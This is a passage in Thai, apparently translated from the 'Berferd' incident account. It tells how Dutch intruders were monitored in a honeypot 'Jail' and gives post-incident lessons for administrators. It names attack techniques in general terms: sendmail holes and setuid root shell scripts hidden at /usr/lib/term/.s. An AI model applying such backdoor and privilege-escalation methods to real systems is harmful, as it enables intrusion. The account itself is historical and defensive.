เพื่อเป็นฐานในการโจมตีเป็นเวลาหลายเดือน ไฟล์ที่บันทึกการกระทำของเขา มีขนาดใหญ่เป็นสิบเมกกะไบต์ เขายังคงยืนกรานที่จะ เจาะคอมพิวเตอร์ซึ่งเป็นงานที่น่าเบื่อหน่ายต่อไป หลังจากได้แอกเคาท์ในเครื่องนั้นแล้ว เขาจะพยายามต่อไปเพื่อให้สิทธิ์ของผู้บริหารระบบในเครื่องนั้น Berferd มีข้อมูลที่ดี เกี่ยวกับช่องโหว่ของซอฟท์แวร์ เขารู้พารามิเตอร์คำสั่งของโปรแกรม sendmail ที่ไม่เป็นที่รู้จักและใช้มันได้อย่างถูกต้อง (sendmail บางเวอร์ชันมีช่องโหว่สำหรับยูสเซอร์ ที่ล๊อกอินเข้าไปในระบบด้วยเช่นกัน ทำไมโปรแกรมที่มีขนาดใหญ่และซับซ้อนเช่นนี้จึงต้องถูกรันโดย root ด้วย ?) เครื่องที่เขาบุกรุกเข้าไปแล้วนั้นจะมีเชลล์สคริปท์ที่สามารถ เซ็ต UID ๊(user id) จากยูสเซอร์ธรรมดาให้เป็น root ได้ โดยเขามักจะเก็บมันไว้ที่ /usr/lib/term/.s Berferd กลับมาอีกครั้ง ในหนังสือพิมพ์ New York Times ฉบับวันอาทิตย์ที่ 21 เมษายน คศ.1991 John Markoff ได้เขียนเรื่องราวเกี่ยวกับ Berferd เขาเขียนไว้ว่า เจ้าหน้าที่ได้ตามล่าแฮกเกอร์ ชาวดัทช์หลายคน แต่ไม่สามารถฟ้องร้องพวกเขาได้เนื่องจาก การบุกรุกระบบคอมพิวเตอร์ไม่ผิดกฏหมายของประเทศเนเธอร์แลนด์ กลุ่มแฮกเกอร์ได้รับรู้ถึงบทความนี้ภายในวันเดียวหรือนานกว่านั้น Wietse ได้รวบรวมอีเมลที่ส่งถึงกันระหว่างสมาชิกหลายคน ของชุมชนแฮกเกอร์ชาวดัทช์ เป็นที่กระจ่างว่าพวกเขาเป็นคนที่ทำให้เกิดเรื่องราวที่เขาเข้าใจว่าเครื่องของพวกเราได้รับความเสียหาย เพื่อนคนหนึ่งของ Berferd รู้สึกแปลกใจที่หนังสือพิมพ์ไม่ได้กล่าวถึงคอมพิวเตอร์ของพวกเราในรายชื่อของคอมพิวเตอร์ที่ได้ รับความเสียหาย ในวันที่ 1 พฤษภาคม Berferd เข้ามาใน Jail ของเรา ในขณะนั้นพวกเราจำเขาจากความเร็วในการกดคีย์บอร์ดและการพิมพ์ ผิดพลาดของเขาและคำสั่งที่เขาใช้เพื่อตรวจสอบระบบ เขาค้นหาช่องโหว่ในคอมพิวเตอร์มากมาย ในขณะที่เขาใช้คำสั่ง whois เพื่อดูชนิดของโฮสต์และเป้าหมายใหม่ ๆ เขาไม่ได้บุกรุกคอมพิวเตอร์เครื่องใดที่เขาพยายามจาก Jail ของเรา จากหนึ่งร้อยไซต์กว่า ๆ ที่เขาโจมตี มีสามไซต์ที่รู้ถึงความ พยายามในการโจมตีและติดต่อเข้ามายังเราโดยเจ้าหน้าที่รักษาความปลอดภัยคอมพิวเตอร์ที่จริงจังมาก ผมอธิบายให้พวกเขาเข้าใจ ว่าแฮกเกอร์พวกนี้เราไม่สามารถไปจัดการอะไรได้ เท่าที่ผมรู้ สิ่งที่ดีที่สุดที่พวกเราสามารถทำได้คือการบันทึกกิจกรรมที่เขาได้ ทำลงไปและนำไปให้ผู้ที่ตกเป็นเป้าหมายของเขา Berferd มีฐานสำหรับโจมตีมากมาย เป็นเพราะการยืนกรานที่จะทำต่อไปและ โชคที่ทำให้การกระทำทุกอย่างของเขาถูกบันทึกเอาไว้แล้ว ผู้บริหารระบบของไซต์ที่ถูกโจมตีไม่ควรที่จะพึ่งพากับไฟล์ที่บันทึกการโจมตีของแคร็กเกอร์เพียงอย่างเดียว เพราะมันจะนำไปสู่ การสรุปที่ไม่ชัดเจน การควบคุมความเสียหายง่ายกว่าการรอให้เกิดความเสียหายจริง ๆ ถ้าผู้บริหารระบบของคอมพิวเตอร์ที่ถูก บุกรุกไม่ได้ทำระบบการบันทึกไว้ในระบบก็ควรโหลดระบบขึ้นมาใหม่จากเทปแม่เหล็กหรือซีดีรอม ผู้บริหารระบบและฝ่ายจัดการของไซต์ที่ถูกโจมตีเห็นด้วยกับผมและขอร้องให้พวกเราเปิด Jail เอาไว้ จากการร้องขอของฝ่ายการจัดการของเรา ผมได้ปิดการทำงานของ Jail เมื่อวันที่ 3 พฤษภาคม Berferd พยายามที่จะเข้าถึง มันสองสามครั้งแล้วจึงเลิกไป เขาย้ายกิจกรรมของเขาไปที่คอมพิวเตอร์ที่ถูกบุกรุกที่สวีเดนแทน พวกเราไม่มีวิธีที่เป็นทางการสำหรับการตามตัวและหยุด Berferd ที่จริงแล้วพวกเราโชคดีที่รู้ว่าเขาเป็นใคร ทั้งที่ผู้บริหารระบบ ส่วนใหญ่จะไม่มีวิธีค้นหาว่าใครเป็นผู้โจมตีพวกเขา ท้ายที่สุดพวกเพื่อนของเขาได้ชะลอการกระทำลงไปเมื่อ Wietse Venema ได้ติดต่อกับแม่ของหนึ่งในพวกเขา สิ่งอื่น ๆ ที่เห็นได้ชัดจากความเข้าใจในเหตุการณ์หลังเกิดเหตุ สิ่งแรกที่สำคัญคือ เราไม่รู้ล่วงหน้าว่าจะต้องทำอย่างไรกับแฮกเกอร์ พวกเราตัดสินใจตามที่พวกเราเห็นพ้องกัน และพยายามใช้ผู้บุกรุกให้เป็นประโยชน์ การตัดสินใจที่มีความสำคัญมากคือ การให้ Berferd ใช้ส่วนหนึ่งของเครื่องพวกเราโดยผ่าน Jail ซึ่งไม่ได้รับการสนับสนุนจากฝ่ายจัดการ พวกเรายังมีเครื่องมืออีกเล็กน้อยด้วย สคริปท์ที่พวกเราใช้ และตัว Jail เองที่เราสร้างขึ้นมาอย่างรีบเร่ง มันมีข้อผิดพลาดที่อาจทำให้ Berferd รู้ตัว ดังนั้นไซต์ที่ต้องการเฝ้าดูแฮกเกอร์ควรเตรียมเครื่องให้พร้อมล่วงหน้า รวมทั้งการซื้อฮาร์ดแวร์ที่จำเป็นด้วย อันที่จริง มีเพียงการเตรียมการอย่างดีอย่างเดียวเท่านั้นที่เราทำเสร็จคือการเซ็ตอัปการบันทึกระบบ จริง ๆ แล้วเราไม่พร้อมนักหรอก
|
|
URL:http://se-ed.net/hacking
Email: hacking@se-ed.net
IE.5.x 800x600 16bit |